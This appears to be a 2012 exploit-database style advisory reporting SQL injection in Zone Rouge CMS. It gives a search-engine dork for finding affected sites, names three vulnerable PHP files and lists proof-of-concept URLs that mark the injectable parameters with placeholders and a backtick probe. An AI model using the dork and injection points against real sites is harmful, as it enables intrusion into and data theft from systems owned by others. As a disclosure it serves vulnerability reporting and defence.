# Exploit Title: [Zone Rouge CMS 2012 - SQL Injection Vulnerability]
# Google Dork: [inurl:"driver.php?langue="]
# Date: [2012-01-21]
# Author: [David Frankenstein]
# Software Link: [http://zonerouge.fr]
# Version: [#]
# Tested on: [#]
# Exploit:
Vulnerable File(s):
[+] driver.php
[+] photos.php
[+] release.php
Proof of Concept:
=================
The vulnerabilities can be exploited by remote attackers without user inter
action.
For demonstration or reproduce ...
PoC:
[+] driver.php?langue=fr&champ=`[SQL-Injection]
[+] photos.php?langue=fr&archives=`[SQL-Injection]
[+] release.php?langue=fr&champ=`[SQL-Injection]
Reference(s):
[+] http://[SERVER].COM/[FILE].PHP?langue=fr&archives=`%60
Risk:
=====
The security risk of the remote sql injection vulnerability is estimated as
high(+).
